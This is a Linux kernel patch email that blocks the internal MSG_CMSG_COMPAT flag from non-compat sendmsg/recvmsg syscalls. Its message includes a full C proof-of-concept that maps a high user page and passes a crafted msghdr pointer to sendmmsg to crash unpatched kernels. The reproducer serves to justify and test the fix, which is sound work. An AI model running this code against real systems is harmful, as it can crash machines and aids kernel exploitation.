Subject: [PATCH 5/5] net: Block MSG_CMSG_COMPAT in send(m)msg and recv(m)msg
MSG_CMSG_COMPAT is (AFAIK) not intended to be part of the API --
it's a hack that steals a bit to indicate to other networking code
that a compat entry was used. So don't allow it from a non-compat
syscall.
This prevents an oops when running this code:
int main()
{
int s;
struct sockaddr_in addr;
struct msghdr *hdr;
char *highpage = mmap((void*)(TASK_SIZE_MAX - 4096), 4096,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if (highpage == MAP_FAILED)
err(1, "mmap");
s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s == -1)
err(1, "socket");
addr.sin_family = AF_INET;
addr.sin_port = htons(1);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) != 0)
err(1, "connect");
void *evil = highpage + 4096 - COMPAT_MSGHDR_SIZE;
printf("Evil address is %p\n", evil);
if (syscall(__NR_sendmmsg, s, evil, 1, MSG_CMSG_COMPAT) < 0)
err(1, "sendmmsg");
return 0;
}
